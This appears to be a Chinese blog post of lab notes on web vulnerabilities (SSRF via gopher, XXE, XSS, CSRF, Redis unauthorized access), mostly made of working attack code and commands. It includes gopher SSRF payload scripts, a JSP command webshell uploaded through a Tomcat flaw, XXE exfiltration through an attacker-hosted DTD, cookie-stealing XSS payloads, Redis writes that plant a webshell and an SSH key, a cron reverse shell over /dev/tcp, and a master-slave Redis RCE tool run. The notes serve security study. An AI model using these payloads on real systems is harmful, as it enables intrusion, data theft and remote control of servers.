web通用漏洞
文章目录
1. SSRF
SSRF(Service side request forgery):服务器请求伪造
是一种由攻击者形成服务器端发起的安全漏洞,本质上是属于信息泄露漏洞。

file,dict,http协议懂的都懂。
1. gopher伪协议
gopher是分布式文档传递服务。感觉已经过时了,不太好复现。
基本格式:URL:gopher://host:port/gopher-path
web也需要加端口号80
gopher协议默认端口为70
注意:gopher请求不发送第一个字符
A端
curl gopher://127.0.0.1:7777/abcd
B端
nc -lvp 7777
结果b端只接受到bcd,所以一般会有一位填充位
windows11下curl --version 发现没有gopher,故去下一个最新版的curl.exe,并配置环境变量。
我用的php5.6.9,php.ini开启了下面设置
extension=php_openssl.dll
allow_url_fopen=On
allow_url_include=On
curl_exec()造成的SSRF,gopher协议需要使用二次URLEncode;
B端和C端都会进行一次urldecode,所以A端http请求要两次urlencode。
file_get_contents()造成的SSRF,gopher协议就不用进行二次URLEncode;
B.php
<?php
highlight_file(__FILE__);
// 创建一个Curl句柄
$curl = curl_init();
echo $_GET['url'];
//$_GET['url']="gopher://127.0.0.1:80/_GET%20/C.php%3Fname%3D666%0D%0AHost%3A+127.0.0.1";
//浏览器传参gopher://127.0.0.1:80/_GET%2520%2FC.php%253Fname%253D666%250D%250AHost%253A%2B127.0.0.1
echo urlencode($_GET['url']);
// 设置请求的URL
curl_setopt($curl, CURLOPT_URL, $_GET['url']);
curl_setopt($ch, CURLOPT_HEADER, 0); //启用时会将头文件的信息作为数据流输出。
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); // 位掩码, 1 (301 永久重定向), 2 (302 Found) 和 4 (303 See Other) 设置 CURLOPT_FOLLOWLOCATION 时,什么情况下需要再次 HTTP POST 到重定向网址
// 设置请求超时时间(秒)
curl_setopt($curl, CURLOPT_TIMEOUT, 3);
// 设置连接超时时间(秒)
curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 3);
// 设置是否在遇到HTTP错误码时抛出异常
curl_setopt($curl, CURLOPT_FAILONERROR, true);
//不设超时时间python访问容易504报错,而看不到任何结果
// 执行请求
$response = curl_exec($curl);
// 检查是否有错误发生
if(curl_errno($curl)) {
$error_message = curl_error($curl);
// 在这里处理自定义协议错误
echo "自定义协议错误:" . $error_message;
echo $_GET['url'];
}
// 关闭Curl句柄
curl_close($curl);
C.php
<?php
highlight_file(__FILE__);
echo '</br>';
echo 'get name '.$_GET['name']."</br>";
echo 'post name '.$_POST['name'];
test.php
<?php
//highlight_file(__FILE__);
/**/
$w = stream_get_wrappers();
echo 'openssl: ', extension_loaded ('openssl') ? 'yes':'no', "\n";
echo 'http wrapper: ', in_array('http', $w) ? 'yes':'no', "\n";
echo 'https wrapper: ', in_array('https', $w) ? 'yes':'no', "\n";
echo 'wrappers: ', var_dump($w);
输出里面没有gopher,file_get_contents不支持gopher了😓
Warning: file_get_contents(): Unable to find the wrapper "gopher"
get请求构造
空格 %20 问号%3f 换行符 %0d%0A
import urllib.parse
import requests
from urllib.parse import urlencode
ip="127.0.0.1"
port=80#端口不要忘了
data="""GET /C.php?name=666
Host: 127.0.0.1
"""#最后有个换行符
#HTTP/1.1好像不用加
data=urllib.parse.quote(data)
data=data.replace("%0A","%0d%0A")
#print(payload)
print(data)
#GET%20/C.php%3Fname%3D666%0d%0AHost%3A%20127.0.0.1%0d%0A
data=urllib.parse.quote(data)#因为是curl_exec,需要二次加密
print(data)
#GET%2520/C.php%253Fname%253D666%250d%250AHost%253A%2520127.0.0.1%250d%250A
payload=f"gopher://{ip}:{port}/_"+data #解析时吃一个_
url="http://127.0.0.1:80/B.php?url="+payload
print(url)
r=requests.get(url=url)
print(r.text)
注意:最后有一个换行符

post请求构造
先验证一下能不能跑
curl gopher://127.0.0.1:80/_POST%20%2FC.php%20HTTP%2F1.1%0d%0ahost%3A127.0.0.1%0d%0aContent-Type%3Aapplication%2Fx-www-form-urlencoded%0d%0aContent-Length%3A8%0d%0a%0d%0aname%3D666
B.php
<?php
//highlight_file(__FILE__);
// 创建一个Curl句柄
$curl = curl_init();
$a1="POST /C.php
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 8
name=666";
#Content-Type如果是xml则需要用xml格式写,比如<name>666</name>
//浏览器传参gopher://127.0.0.1:80/_GET%2520%2FC.php%253Fname%253D666%250D%250AHost%253A%2B127.0.0.1
echo "posturl: ".$_POST['url'];
// 设置请求的URL
$_POST['url']="gopher://127.0.0.1:80/_POST%20%2FC.php%20HTTP%2F1.1%0d%0ahost%3A127.0.0.1%0d%0aContent-Type%3Aapplication%2Fx-www-form-urlencoded%0d%0aContent-Length%3A8%0d%0a%0d%0aname%3D666";
//
curl_setopt($curl, CURLOPT_URL, $_POST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0); //启用时会将头文件的信息作为数据流输出。
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); // 位掩码, 1 (301 永久重定向), 2 (302 Found) 和 4 (303 See Other) 设置 CURLOPT_FOLLOWLOCATION 时,什么情况下需要再次 HTTP POST 到重定向网址
// 设置请求超时时间(秒)
curl_setopt($curl, CURLOPT_TIMEOUT, 3);
// 设置连接超时时间(秒)
curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 3);
//不设超时时间python访问直接504报错,看不到任何结果
// 设置是否在遇到HTTP错误码时抛出异常
curl_setopt($curl, CURLOPT_FAILONERROR, true);
// 执行请求
$response = curl_exec($curl);
//echo $response;
// 检查是否有错误发生
if(curl_errno($curl)) {
$error_message = curl_error($curl);
// 在这里处理自定义协议错误
echo "</br>"."自定义协议错误:" . $error_message;
echo $_GET['url'];
}
// 关闭Curl句柄
curl_close($curl);
import urllib.parse
import requests
from urllib.parse import urlencode
ip="127.0.0.1"
port=80
content="name=666"
length1=len(content)
data=f"""POST /C.php HTTP/1.1
host:127.0.0.1
Content-Type:application/x-www-form-urlencoded
Content-Length:{length1}
{content}"""
data=urllib.parse.quote(data)
data=data.replace("%0A","%0d%0A").replace("/","%2F")
data=urllib.parse.quote(data)
payload=f"gopher://{ip}:{port}/_"+data
print(payload)
url="http://127.0.0.1:80/B.php"
print(url)
r=requests.post(url=url,params=payload)
print(r.text)

2. 常见绕过
1. ip地址绕过
ip地址转数字,十进制,八进制,十六进制等
302重定向绕过ip限制
- A类私有网段的范围是10.0.0.0到10.255.255.255。
- B类私有网段的范围是172.16.0.0到172.31.255.255。
- C类私有网段的范围是192.168.0.0到192.168.255.255。
可以使用环回适配器使虚拟机网络不属于abc网段,或者有公网ip。
一台vps上写1.php
<?php
header("Location: http://127.0.0.1/flag.php");
php -S 0.0.0.0:7777 开启Web服务
然后传一个http://公网ip:7777/1.php,使受害网站访问1.php时重定向到本地内网访问文件。
2. DNS重绑定攻击


利用网站:https://lock.cmpxchg8b.com/rebinder.html
提供TTL为0的dns解析

http://de290302.7f000001.rbndr.us/flag.php
3. mysql未授权
复现不成功,条件相当苛刻。
主机mysql和虚拟机都整个远程连接的用户
CREATE USER 'remote_user'@'%' IDENTIFIED WITH 'mysql_native_password' BY '123456'; #虚拟机低版本不用写identified with...
GRANT ALL PRIVILEGES ON *.* TO 'remote_user'@'%';
虚拟机要选桥接模式,NAT模式八成不行。
kali数据库配置文件/etc/mysql/my.cnf,主机my.ini也加一下
[mysqld]
port=3306
bind-address=0.0.0.0
kali虚拟机开启mysql服务,默认账号root,默认密码password
sudo systemctl enable mysql
sudo systemctl start mysql
mysql -uroot -ppassword
ALTER USER 'root'@'localhost' IDENTIFIED BY '123456';
quit;
- 虚拟机开启抓包
tcpdump -i lo port 3306 -w mysql.pcapng
捕获本地回环接口(lo)上所有目标端口或源端口为3306的数据包,并将这些数据包写入到名为 mysql.pcapng 的文件中。
- 写入指令
mysql -h127.0.0.1 -uremote_user -p123456 -e "show databases;"
mysql>5.6不进行密文认证--ssl-mode=DISABLED
- 本机wireshark打开mysql.pcapng
右键 追踪流->TCP流
红色表示发送,蓝色表示接收,我们需要发送给mysql服务器的,故整个对话改成127.0.0.1:51216->127.0.0.1:3306,show data as 选原始数据

- 将内容复制出来,去掉换行符
d700000184a2bf000000000121000000000000000000000000000000000000001d00000072656d6f74655f7573657200140cc93d48f1db8bf907d288c050ddcf7e48f2f3006d7973716c5f6e61746976655f70617373776f7264007f035f6f73054c696e75780c5f636c69656e745f6e616d650a6c69626d617269616462045f706964063130333531300f5f636c69656e745f76657273696f6e05332e322e38095f706c6174666f726d067838365f36340c70726f6772616d5f6e616d65056d7973716c0c5f7365727665725f686f7374093132372e302e302e310f0000000373686f77206461746162617365730100000001
- 将ascii码转换成url编码
test2.py
import requests
import time
import sys
import urllib.parse
import os
def results(s):
a=[s[i:i+2] for i in range(0,len(s),2)]
return "%".join(a)
if __name__=="__main__":
s="d700000184a2bf000000000121000000000000000000000000000000000000001d00000072656d6f74655f7573657200140cc93d48f1db8bf907d288c050ddcf7e48f2f3006d7973716c5f6e61746976655f70617373776f7264007f035f6f73054c696e75780c5f636c69656e745f6e616d650a6c69626d617269616462045f706964063130333531300f5f636c69656e745f76657273696f6e05332e322e38095f706c6174666f726d067838365f36340c70726f6772616d5f6e616d65056d7973716c0c5f7365727665725f686f7374093132372e302e302e310f0000000373686f77206461746162617365730100000001"
a=results(s)
a=urllib.parse.quote(a)
a="gopher://192.168.10.7:3306/_%" +a
print(a)
os.system("chcp 65001")
os.system(a)
gopher://192.168.10.7:3306/_%d7%2500%2500%2501%2584%25a2%25bf%2500%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%251d%2500%2500%2500%2572%2565%256d%256f%2574%2565%255f%2575%2573%2565%2572%2500%2514%250c%25c9%253d%2548%25f1%25db%258b%25f9%2507%25d2%2588%25c0%2550%25dd%25cf%257e%2548%25f2%25f3%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%257f%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%250a%256c%2569%2562%256d%2561%2572%2569%2561%2564%2562%2504%255f%2570%2569%2564%2506%2531%2530%2533%2535%2531%2530%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2505%2533%252e%2532%252e%2538%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%250c%255f%2573%2565%2572%2576%2565%2572%255f%2568%256f%2573%2574%2509%2531%2532%2537%252e%2530%252e%2530%252e%2531%250f%2500%2500%2500%2503%2573%2568%256f%2577%2520%2564%2561%2574%2561%2562%2561%2573%2565%2573%2501%2500%2500%2500%2501
localhost/B.php?url=尝试一下,结果不成功,各位自行尝试

相关工具:gopherus.py 感觉没什么用
4. tomcat漏洞
cve-2017-12615
post发送如下参数,burpsuite拦截对_后的内容进行两次url加密
url=gopher://127.0.0.1:80/_PUT /1.jsp/HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 373
<%
String command = request.getParameter("cmd");
if(command != null){
java.io.InputStream in=Runtime.getRuntime().exec(command).getlnputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}else{
out.print("format: xxx.jsp?cmd=Command");
}
%>
2. XXE
https://www.w3school.com.cn/dtd/dtd_intro.asp
XML:eXtensible Markup Language ,可扩展标记语言
DTD:文档类型定义,用于定义XML文档结构,<!DOCTYPE 根元素 [元素声明]>
XXE:Xml eXternal Entity injection,XML外部实体注入
XML组件默认没有禁用外部实体引用会导致这个漏洞。
DTD
元素声明
<!ELEMENT 元素名称 类别>
<!ELEMENT 元素名称 (元素内容)>
<!ELEMENT 元素名称 EMPTY>
<!ELEMENT 元素名称 ANY> 包含任何内容的元素
<!ELEMENT 元素名称 (#PCDATA)>
<!ELEMENT 元素名称 (子元素名称 1,子元素名称 2,.....)>
例如:
<!ELEMENT br EMPTY>
<br />
属性声明
<!ATTLIST 元素名称 属性名称 属性类型 默认值>
<!ATTLIST payment type CDATA "check">
<payment type="check" />
内部实体声明
<!ENTITY 实体名称 "实体的值">
<!ENTITY writer "Bill Gates">
<author>&writer;</author>
外部实体声明
<!ENTITY 实体名称 SYSTEM "URI/URL">
<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
<author>&writer;</author>
参数实体,可以被DTD文件自身引用
<!ENTITY % 实体名称 "实体内容" >
%实体名称;
测试
B.php,php版本控制为5.3.29
<head>
<meta charset=utf-8>
<title>xxe测试</title>
</head>
<body>
<form action='/B.php' method='post'>
<p>xml数据:</p></br>
<textarea type="text" name="data"></textarea></br>
<input type="submit" value="提交" name="sub">
</form>
</body>
<?php
highlight_file(__FILE__);
date_default_timezone_set("PRC");
if(!empty($_POST['sub'])){
$data=$_POST['data'];
$xml=simplexml_load_string($data);
print($xml);
}
1.txt
你好,makabaka
构造一个DTD外部实体的声明,然后在xml元素里引用。
<?xml version='1.0' encoding='UTF-8'?>
<!DOCTYPE note [
<!ENTITY xxe SYSTEM "file:///C:/phpstudypro/WWW/1.txt">
]>
<login>&xxe;</login>
复制上去,提交一下

文件读取
file:///C:/phpstudypro/WWW/1.txt
端口扫描,没开就报错
http://127.0.0.1:3307
命令执行,要安装expect库
expect://ipconfig
xxe炸弹,尝试读取大量随机数据
file:///dev/random
dnslog子域名外带
<?xml version='1.0' encoding='UTF-8'?>
<!DOCTYPE root[
<!ENTITY % remote SYSTEM "http://dasd.wzv90i.dnslog.cn">
%remote;
]>
访问自己服务器的恶意dtd文件
xml写
<?xml version='1.0' encoding='UTF-8'?>
<!DOCTYPE ANY[
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd">
%remote;
]>
<root>&send;</root>
evil.dtd里写
<!ENTITY % file SYSTEM
"php://filter/read=convert.base64-encode/resource=file:///c:/system.ini">
<!ENTITY % int "<!ENTITY %send SYSTEM 'http://192.168.142.135:8080?p=%file;'>">
3. XSS
Cross-Site Scripting,跨站脚本攻击
攻击者在目标网站上注入恶意代码,当用户(被攻击者)登录网站时就会执行这些恶意代码,通过这些脚本可以读取cookie,session tokens,或者网站其他敏感的网站信息,对用户进行钓鱼欺诈。
同源策略:域名、协议、端口相同。
DOM(Document Object Model,文档对象模型)使得程序和脚本可以动态访问和更新文档的内容、结构和样式。
XSS攻击可以分为3类:存储型(持久型)、反射型(非持久型)、基于DOM。
反射型(非持久型):用户输入的数据直接或未经过完善的安全过滤就在浏览器中进行输出。
<meta charset="UTF-8">
<?php
$xss = "";
@$xss = $_GET['xss_input'];
echo '你输入的字符为<br>'.$xss;
//<script>alert('xss')</script>
//<script>alert(/xss/)</script>
//<script>alert(document.cookie)</script>
//<script>document.location="http://www.xxx.com/cookie.asp?cookie="+document.cookie</script>
?>
存储型(持久型):将黑客输入的恶意跨站攻击数据信息保存在服务端的数据库或其他文件形式中。
常见于留言板,博客等可以发布文章和显示文章的网站。
基于DOM:通过操作 DOM 实现攻击。
可能触发dom的xss属性
document.referer
document.write
location
innerHTML
<script>document.body.innerHTML=(
'<p>hello world</p>');</script>
覆盖原本的body元素。

常见绕过:
双写,大小写
img标签<img src=1 onerror=alert(/xss/)>
<script>img = new Image();
img.src = "http://www.xxx.com/cookie.asp?cookie="+document.cookie;
img.width = 0;img.height = 0</script>
井号
?default=English #<script>alert(/sss/)</script>
由于#后的代码在客户端被注释,因此注入语句不会被传入服务器端,从而达到注入效果。
特殊编码
https://aem1k.com/aurebesh.js/
常见防御
HttpOnly:防网页cookie被客户端js存取
直接用htmlspecialchars函数对用户输入进行编码成html实体。
4. CSRF
Cross—Site Request Forgery,跨站点请求伪造
攻击者利用网站对用户网页浏览器的信任,挟制用户在当前已登录的Web应用程序上执行非本意的操作。
其实加个手机验证码就没这个漏洞。

比如受害者登录后,访问带有<img src=http://www.evil.com/transfer.php?toBankId=9999&money=100>的网站。
比如受害者点击了短链接(隐藏了真实网站)。
与XSS的区别:

5. redis(重要)
redis经常跟ssrf出现。
1. redis安装配置
以下漏洞似乎只能在centos7上能复现。
kali的话默认shell是zsh而不是bash,并且写的计划任务不会执行。
ubuntu写计划任务好像不会执行。
不过如果能覆盖原本已有的网站配置文件,或者朝站点目录下写木马应该可以利用。
下面采用centos7
su
wget http://download.redis.io/releases/redis-3.0.1.tar.gz
tar zxvf redis-3.0.1.tar.gz
cd redis-3.0.1
# 清理之前的编译文件(可选)
make distclean
# 编译(指定内存分配器为libc)
make MALLOC=libc
# 安装到系统路径(可选)
make install
防火墙放行
# 将 Redis 默认端口(6379/TCP)添加到防火墙永久规则
firewall-cmd --add-port=6379/tcp --permanent
# 重新加载防火墙规则(使更改立即生效)
firewall-cmd --reload
# 查看完整防火墙规则(包括开放的端口、服务等)
firewall-cmd --list-all
改一下配置文件
vim redis.conf
# 将bind 127.0.0.1注释掉
# 然后将protected-mode设置为no
#启动redis
src/redis-server redis.conf
#关闭redis
src/redis-cli shutdown
# 连接命令
# redis-cli -h 远程ip -p 6379 -a 密码
可以使用Another Redis Desktop Manager直接连接

查看关键配置
CONFIG GET requirepass # 显示密码
CONFIG GET protected-mode # 显示保护模式
CONFIG GET bind # 显示绑定
CONFIG GET dir # 显示数据存储目录
CONFIG GET dbfilename # 显示RDB文件名

2. redis未授权写webshell
下面这个看看就好
redis-cli -h 172.250.250.9
1.设置web路径
config set dir /var/www/html/
3.设置shell文件名
config set dbfilename phpinfo.php
3.向数据库插入payload
set payload "<?php phpinfo(); ?>"
4.保存webshell
save
5. 退出
quit
筛目的地为6379的TCP流,data as ascii,复制到记事本,把?替换成%3F,把\r\n替换成%0d%0a
构造gopher://172.250.250.9:6379/_,后面拼接上面记事本的内容
3. redis 未授权写入ssh公钥
这个复现一下
如果对方主机开启了ssh,可尝试写入ssh公钥文件,进行ssh登录。
前提条件:
- Redis 服务以 ROOT 权限运行。
- Redis 的 protected-mode(保护模式)处于关闭状态。
- 服务器允许 SSH公钥登录。
centos7启动redis服务,然后命令行敲一下命令
[centos@localhost ~]$ su
Password:
[root@localhost centos]# cd ~
[root@localhost ~]# pwd
/root
[root@localhost ~]# mkdir .ssh
[root@localhost ~]# chmod 700 .ssh
kali作为攻击机
ssh-keygen -t rsa
#生成密钥对
cat /root/.ssh/id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDg7nvoPX88a3zNdo+siR9ZPHy3ZiyEU++ortl8nXzWPMMZepW0AC/BS3WrOI7hpIaNyCmFYb9AKlWFGpZZxyj4BN44IjQKMJQDnpnIzUNIv7oNxrK7lfx32bEQQtYO7mKGi95vXp8hNpbCOO+erkrpt9jWIZdug7rB7tjw2pjLnf00tZDnMTi1Ho1PVnejVYEMPCgkUQo795svMI0q79G0a/Xurjmk3GyNeGbEJsHzjZJQv0R80gl8APfHy/7QYwY76itAMTS7cbAa/lA9R6ZaVHeoBr31SKk6MDpOf7qLAYr53s/SBxTDvp8d6t4teIw3x2j71Gn8fA0hpHdeKV5YGiultezZwf9bMkTI/A2Anql1Qqtc6lU6heHK/KwMIqVcoeGVuNd7Vq2fb1HWf9mIq8JTN8H+XpRxHf3uEYuoEUTEOzAefk98uURUiLTW6EacQMDuKrQRcMQ+pmGdMeX9eTZ2XWTe6NmNuw3LOtzcFK2xcFkXZI7mnF82k/WltrE= root@kali
cd /root/.ssh/
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
#保存到key.txt文件上下加换行防污染
cat key.txt | redis-cli -h 192.168.137.21 -x set xxx
#先设置一下键值对

kali
sudo su
redis-cli -h 192.168.137.21
config set dir /root/.ssh # 设置存储目录为 SSH 密钥目录
config set dbfilename authorized_keys # 设置文件名为 authorized_keys
save # 强制保存,写入公钥
centos7 查看一下

然后kali使用私钥登录
sudo su
cd /root/.ssh
ssh -i id_rsa root@192.168.137.21

4. redis 未授权计划任务shell反弹
可参考ccsssc2025-web-CachedVisitor
前提
-
权限问题,Ubuntu定时任务需要root权限,如果不用
crontab -e命令写计划任务会不执行??? -
redis备份文件存在乱码,在ubuntu上会报错,而在Centos上不会报错。
查看redis.conf就会发现默认是rdbcompression yes ,主要作用就是开启rdb存储压缩,会造成数据污染。
-
经测试,只有centos 7可以。
使用SSRF利用此漏洞,切记在写入计划任务前后加上\n来进行换行,否则数据污染会导致计划任务失败。
这里贴一张网上的图

kali
nc -lvvp 6683
我们来执行以下命令
del xxx
#删除之前添加的键
config set rdbcompression no
#关闭RDB 文件的压缩功能,防止命令出现乱码
config set dir /var/spool/cron/
#将Redis 的工作目录更改为 /var/spool/cron/,这通常是 cron 定时作业的存储位置。
#centos 7一般是/var/spool/cron/
set x "\n* * * * * bash -i >& /dev/tcp/192.168.137.11/6683 0>&1\n"
#设置键值对,`* * * * *`表示每分钟执行一次
# >&,全称为2>&1,将bash shell的标准输出和标准错误都重定向到一个TCP连接,用于发送靶机输出
# 0>&1 将标准输入重定向到之前已经重定向的标准输出(即远程socket),从远程socket读取输入
# 0>&1 的操作类似于将文件描述符fd1的内容复制到fd0
config set dbfilename root
#将Redis的数据库文件名更改为root,这意味着Redis将在/var/spool/cron/下创建一个名为root的文件
save

centos 7
cat /var/spool/cron/root
[root@localhost .ssh]# ls -al /var/spool/cron/root
-rw-r--r--. 1 root root 80 Aug 13 00:53 /var/spool/cron/root

5. 主从复制 RCE
漏洞类型:主从复制远程代码执行。
影响版本:Redis 4.x ~ 5.x(未禁用模块加载的实例)。
漏洞原理:通过控制或伪造主节点,在全量同步过程中向从节点传输包含恶意模块的RDB文件。从节点接收后会执行MODULE LOAD加载该模块,导致恶意代码执行。此过程利用了Redis主从复制中全量同步会覆盖从节点数据的特性。
漏洞条件:
- 目标Redis版本在受影响范围内。
- 未设置disable-loading-modules yes配置。
- 网络可达目标Redis服务端口(默认6379)。
- Redis 的 protected-mode(保护模式)处于关闭状态。
主从复制
├── 连接特性
│ └── 长连接 + 心跳检测
├── 读写分离
│ └── 主节点处理写请求,从节点处理读请求
├── 数据同步方式
│ ├── 全量复制(首次 / 无法增量)
│ ├── 增量复制(网络闪断恢复)
| └── 单向同步(数据仅从主节点单向复制到从节点,从节点不接受写操作)
├── 复制模式
│ └── 异步为主(主节点写入数据后立即响应客户端,后台异步同步到从节点,可配合 WAIT 半同步)
├── 主从切换
│ ├── 手动切换
│ └── 自动切换(哨兵 / 集群)
└── 场景意义
├── 数据冗余
├── 读写分离(主节点处理写请求,从节点处理读请求)
└── 高可用与容灾
centos7下载redis-4.0.8.tar.gz并进行重新配置redis环境
tar zxvf redis-4*
cd redis-4*
# 清理之前的编译文件(可选)
make distclean
# 编译(指定内存分配器为libc)
make MALLOC=libc
# 安装到系统路径(可选)
make install
vim redis.conf
# 将bind 127.0.0.1注释掉
# 然后将protected-mode设置为no
#启动redis
src/redis-server redis.conf
#关闭redis
src/redis-cli shutdown
kali下载恶意命令的动态链接库.so文件
# 下载漏洞利用工具包
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
cd RedisM*
# 编译生成恶意模块
make
kali使用工具伪造恶意主节点
# 下载攻击工具
git clone https://github.com/Ridter/redis-rce
# 复制生成的恶意模块到工具目录
cp ./RedisModules-ExecuteCommand/module.so ./redis-rce/
# 启动伪主节点攻击
cd redis-rce
python redis-rce.py -r 192.168.137.21 -p 6379 -L 192.168.137.11 -f module.so
# -r 受害机ip -L 攻击机ip

redis desktop manager测试一下已加载模块
# 在Redis上执行
MODULE LIST # 查看已加载模块
system.exec "id" # 测试命令执行

关于vmware的网络
| 虚拟机<->虚拟机 | 虚拟机->宿主 | 宿主->虚拟机 | 虚拟机->互联网 | 互联网->虚拟机 | |
|---|---|---|---|---|---|
| 网络地址转换NAT | X | √ | X | √ | X |
| NAT网络 | √ | √ | X | √ | X |
| 桥接网卡 | √ | √ | √ | √ | √ |
| 内部网络 | √ | X | X | X | X |
| 仅主机网络 | √ | √(官方说可以) | √ | X | X |
- vmware16的nat模式虚拟机大概率ping不通主机,并且难以解决,建议使用桥接模式。

1473

被折叠的 条评论
为什么被折叠?



